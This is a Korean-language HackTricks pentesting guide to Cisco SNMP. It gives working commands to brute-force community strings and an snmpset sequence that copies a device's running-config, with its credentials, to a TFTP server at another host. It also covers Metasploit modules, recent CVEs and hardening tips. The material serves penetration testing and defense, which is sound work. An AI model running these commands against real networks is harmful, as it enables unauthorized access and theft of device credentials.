# Cisco SNMP {{#include ../../banners/hacktricks-training.md}} ## Pentesting Cisco Networks **SNMP**는 일반 메시지에 대해 **161/UDP** 포트와 트랩 메시지에 대해 **162/UDP** 포트를 사용하여 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 관리자 간의 통신을 가능하게 하는 평문 "비밀번호" 역할을 하는 *커뮤니티 문자열*에 의존합니다. 이러한 문자열은 접근 수준을 결정하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다. 고전적이지만 여전히 매우 효과적인 공격 벡터는 **커뮤니티 문자열을 무차별 대입**하여 인증되지 않은 사용자에서 장치 관리자(RW 커뮤니티)로 상승하는 것입니다. 이 작업을 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone): ```bash onesixtyone -c community_strings.txt -i targets.txt ``` 다른 빠른 옵션은 Nmap NSE 스크립트 `snmp-brute` 또는 Hydra의 SNMP 모듈입니다: ```bash nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24 hydra -P wordlist.txt -s 161 10.10.10.1 snmp ``` --- ### SNMP를 통한 구성 덤프 (CISCO-CONFIG-COPY-MIB) **RW 커뮤니티**를 얻으면 CLI 접근 없이 CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`)를 악용하여 실행 중인 구성/시작 구성을 TFTP/FTP 서버로 복사할 수 있습니다. 두 가지 일반적인 접근 방식은 다음과 같습니다: 1. **Nmap NSE – `snmp-ios-config`** ```bash nmap -sU -p161 --script snmp-ios-config \ --script-args creds.snmp=private 192.168.66.1 ``` 스크립트는 복사 작업을 자동으로 조정하고 구성을 stdout에 출력합니다. 2. **수동 `snmpset` 시퀀스** ```bash # Copy running-config (4) to a TFTP server (1) – random row id 1234 snmpset -v2c -c private 192.168.66.1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo ``` 행 식별자는 *일회성*입니다; 5분 이내에 재사용하면 `inconsistentValue` 오류가 발생합니다. 파일이 TFTP 서버에 있으면 자격 증명(`enable secret`, `username secret` 등)을 검사하거나 수정된 구성을 장치로 다시 푸시할 수 있습니다. --- ### Metasploit goodies * **`cisco_config_tftp`** – 동일한 MIB를 악용한 후 TFTP를 통해 running-config/startup-config를 다운로드합니다. * **`snmp_enum`** – 장치 인벤토리 정보, VLAN, 인터페이스 설명, ARP 테이블 등을 수집합니다. ```bash use auxiliary/scanner/snmp/snmp_enum set RHOSTS 10.10.100.10 set COMMUNITY public run ``` --- ## 최근 Cisco SNMP 취약점 (2023 – 2025) 벤더 권고 사항을 추적하는 것은 참여 내에서 *제로데이-투-엔데이* 기회를 범위 지정하는 데 유용합니다: | 연도 | CVE | 영향을 받는 기능 | 영향 | |------|-----|-----------------|--------| | 2025 | CVE-2025-20174 | SNMP 서브시스템 | 조작된 패킷이 IOS/IOS-XE (v1/v2c/v3)에서 인증된 *DoS* (재시작)를 유발합니다. | | 2024 | CVE-2024-20373 | IPv4 ACL 처리 | 잘못 구성된 **확장** ACL이 조용히 *실패*하여 유효한 커뮤니티/사용자가 알려진 경우 인증되지 않은 SNMP 폴링을 허용합니다. | | 2025 | (아직 CVE 없음) | SNMPv3 구성 제한 우회 | 유효한 v3 사용자가 거부되어야 하는 주소에서 폴링할 수 있습니다. | 악용 가능성은 종종 커뮤니티 문자열이나 v3 자격 증명을 소유하는 데 여전히 의존합니다. 이는 무작위 대입 공격이 여전히 관련성이 있는 또 다른 이유입니다. --- ## 강화 및 탐지 팁 * 수정된 IOS/IOS-XE 버전으로 업그레이드하십시오 (위의 CVE에 대한 Cisco 권고 참조). * v1/v2c보다 `authPriv` (SHA-256/AES-256)를 사용하는 **SNMPv3**를 선호하십시오. ``` snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha priv aes 256 ``` * SNMP를 관리 VRF에 바인딩하고 **표준** 번호가 매겨진 IPv4 ACL로 **제한하십시오** (확장된 이름 ACL은 위험합니다 – CVE-2024-20373). * **RW 커뮤니티**를 비활성화하십시오; 운영상 필요할 경우 ACL 및 뷰로 제한하십시오: `snmp-server community RW 99 view SysView` * 다음을 모니터링하십시오: - UDP/161 급증 또는 예상치 못한 출처 (SIEM 규칙). - 비대역 구성 변경을 나타내는 `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` 이벤트. * 특정 DoS 벡터를 줄이기 위해 **SNMPv3 로깅** 및 `snmp-server packetsize 1500`을 활성화하십시오. --- ## 참조 - Cisco: *Cisco 장치 간 구성 복사 방법* - Cisco 보안 권고 *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373) {{#include ../../banners/hacktricks-training.md}}